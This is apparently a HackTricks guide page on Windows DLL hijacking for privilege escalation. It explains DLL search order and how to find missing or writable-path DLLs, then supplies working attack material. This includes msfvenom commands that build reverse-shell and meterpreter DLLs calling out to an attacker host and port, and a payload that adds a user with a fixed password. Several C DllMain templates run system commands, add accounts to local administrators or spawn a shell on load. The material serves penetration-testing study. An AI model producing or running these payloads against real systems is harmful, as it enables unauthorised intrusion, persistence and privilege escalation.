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274 lines
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274 lines
16 KiB
Markdown
# Dll Hijacking
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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## Basic Information
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DLL Hijacking involves manipulating a trusted application into loading a malicious DLL. This term encompasses several tactics like **DLL Spoofing, Injection, and Side-Loading**. It's mainly utilized for code execution, achieving persistence, and, less commonly, privilege escalation. Despite the focus on escalation here, the method of hijacking remains consistent across objectives.
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### Common Techniques
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Several methods are employed for DLL hijacking, each with its effectiveness depending on the application's DLL loading strategy:
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1. **DLL Replacement**: Swapping a genuine DLL with a malicious one, optionally using DLL Proxying to preserve the original DLL's functionality.
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2. **DLL Search Order Hijacking**: Placing the malicious DLL in a search path ahead of the legitimate one, exploiting the application's search pattern.
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3. **Phantom DLL Hijacking**: Creating a malicious DLL for an application to load, thinking it's a non-existent required DLL.
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4. **DLL Redirection**: Modifying search parameters like `%PATH%` or `.exe.manifest` / `.exe.local` files to direct the application to the malicious DLL.
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5. **WinSxS DLL Replacement**: Substituting the legitimate DLL with a malicious counterpart in the WinSxS directory, a method often associated with DLL side-loading.
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6. **Relative Path DLL Hijacking**: Placing the malicious DLL in a user-controlled directory with the copied application, resembling Binary Proxy Execution techniques.
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## Finding missing Dlls
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The most common way to find missing Dlls inside a system is running [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) from sysinternals, **setting** the **following 2 filters**:
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.png>)
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.png>)
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and just show the **File System Activity**:
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.png>)
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If you are looking for **missing dlls in general** you **leave** this running for some **seconds**.\
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If you are looking for a **missing dll inside an specific executable** you should set **another filter like "Process Name" "contains" "\<exec name>", execute it, and stop capturing events**.
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## Exploiting Missing Dlls
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In order to escalate privileges, the best chance we have is to be able to **write a dll that a privilege process will try to load** in some of **place where it is going to be searched**. Therefore, we will be able to **write** a dll in a **folder** where the **dll is searched before** the folder where the **original dll** is (weird case), or we will be able to **write on some folder where the dll is going to be searched** and the original **dll doesn't exist** on any folder.
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### Dll Search Order
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**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
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**Windows applications** look for DLLs by following a set of **pre-defined search paths**, adhering to a particular sequence. The issue of DLL hijacking arises when a harmful DLL is strategically placed in one of these directories, ensuring it gets loaded before the authentic DLL. A solution to prevent this is to ensure the application uses absolute paths when referring to the DLLs it requires.
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You can see the **DLL search order on 32-bit** systems below:
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1. The directory from which the application loaded.
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2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
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3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
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4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
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1. (_C:\Windows_)
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5. The current directory.
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6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
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That is the **default** search order with **SafeDllSearchMode** enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry value and set it to 0 (default is enabled).
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If [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) function is called with **LOAD\_WITH\_ALTERED\_SEARCH\_PATH** the search begins in the directory of the executable module that **LoadLibraryEx** is loading.
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Finally, note that **a dll could be loaded indicating the absolute path instead just the name**. In that case that dll is **only going to be searched in that path** (if the dll has any dependencies, they are going to be searched as just loaded by name).
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There are other ways to alter the ways to alter the search order but I'm not going to explain them here.
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#### Exceptions on dll search order from Windows docs
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Certain exceptions to the standard DLL search order are noted in Windows documentation:
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* When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**.
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* In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs.
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* Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
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### Escalating Privileges
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**Requirements**:
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* Identify a process that operates or will operate under **different privileges** (horizontal or lateral movement), which is **lacking a DLL**.
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* Ensure **write access** is available for any **directory** in which the **DLL** will be **searched for**. This location might be the directory of the executable or a directory within the system path.
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Yeah, the requisites are complicated to find as **by default it's kind of weird to find a privileged executable missing a dll** and it's even **more weird to have write permissions on a system path folder** (you can't by default). But, in misconfigured environments this is possible.\
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In the case you are lucky and you find yourself meeting the requirements, you could check the [UACME](https://github.com/hfiref0x/UACME) project. Even if the **main goal of the project is bypass UAC**, you may find there a **PoC** of a Dll hijaking for the Windows version that you can use (probably just changing the path of the folder where you have write permissions).
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Note that you can **check your permissions in a folder** doing:
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```bash
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accesschk.exe -dqv "C:\Python27"
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icacls "C:\Python27"
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```
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And **check permissions of all folders inside PATH**:
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```bash
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for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
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```
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You can also check the imports of an executable and the exports of a dll with:
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```c
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dumpbin /imports C:\path\Tools\putty\Putty.exe
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dumpbin /export /path/file.dll
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```
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For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
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{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %}
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[writable-sys-path-+dll-hijacking-privesc.md](dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
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{% endcontent-ref %}
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### Automated tools
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[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)will check if you have write permissions on any folder inside system PATH.\
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Other interesting automated tools to discover this vulnerability are **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._
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### Example
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In case you find an exploitable scenario one of the most important things to successfully exploit it would be to **create a dll that exports at least all the functions the executable will import from it**. Anyway, note that Dll Hijacking comes handy in order to [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) or from[ **High Integrity to SYSTEM**](./#from-high-integrity-to-system)**.** You can find an example of **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
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Moreover, in the **next sectio**n you can find some **basic dll codes** that might be useful as **templates** or to create a **dll with non required functions exported**.
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## **Creating and compiling Dlls**
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### **Dll Proxifying**
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Basically a **Dll proxy** is a Dll capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**.
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With the tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) you can actually **indicate an executable and select the library** you want to proxify and **generate a proxified dll** or **indicate the Dll** and **generate a proxified dll**.
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### **Meterpreter**
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**Get rev shell (x64):**
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```bash
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msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
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```
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**Get a meterpreter (x86):**
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```bash
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
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```
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**Create a user (x86 I didn't see a x64 version):**
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```
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msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
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```
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### Your own
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Note that in several cases the Dll that you compile must **export several functions** that are going to be loaded by the victim process, if these functions doesn't exist the **binary won't be able to load** them and the **exploit will fail**.
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```c
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// Tested in Win10
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// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
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#include <windows.h>
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BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
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switch(dwReason){
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case DLL_PROCESS_ATTACH:
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system("whoami > C:\\users\\username\\whoami.txt");
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WinExec("calc.exe", 0); //This doesn't accept redirections like system
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break;
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case DLL_PROCESS_DETACH:
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break;
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case DLL_THREAD_ATTACH:
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break;
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case DLL_THREAD_DETACH:
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break;
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}
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return TRUE;
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}
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```
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```c
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// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
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// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
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#include <windows.h>
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BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
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if (dwReason == DLL_PROCESS_ATTACH){
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system("cmd.exe /k net localgroup administrators user /add");
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ExitProcess(0);
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}
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return TRUE;
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}
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```
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```c
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//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
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//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
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#include <windows.h>
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int owned()
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{
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WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
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exit(0);
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return 0;
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}
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BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
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{
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owned();
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return 0;
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}
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```
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```c
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//Another possible DLL
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// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
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#include<windows.h>
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#include<stdlib.h>
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#include<stdio.h>
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void Entry (){ //Default function that is executed when the DLL is loaded
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system("cmd");
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}
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BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
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switch (ul_reason_for_call){
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case DLL_PROCESS_ATTACH:
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CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
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break;
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case DLL_THREAD_ATTACH:
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case DLL_THREAD_DETACH:
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case DLL_PROCESS_DEATCH:
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break;
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}
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return TRUE;
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}
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```
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## References
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* [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
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* [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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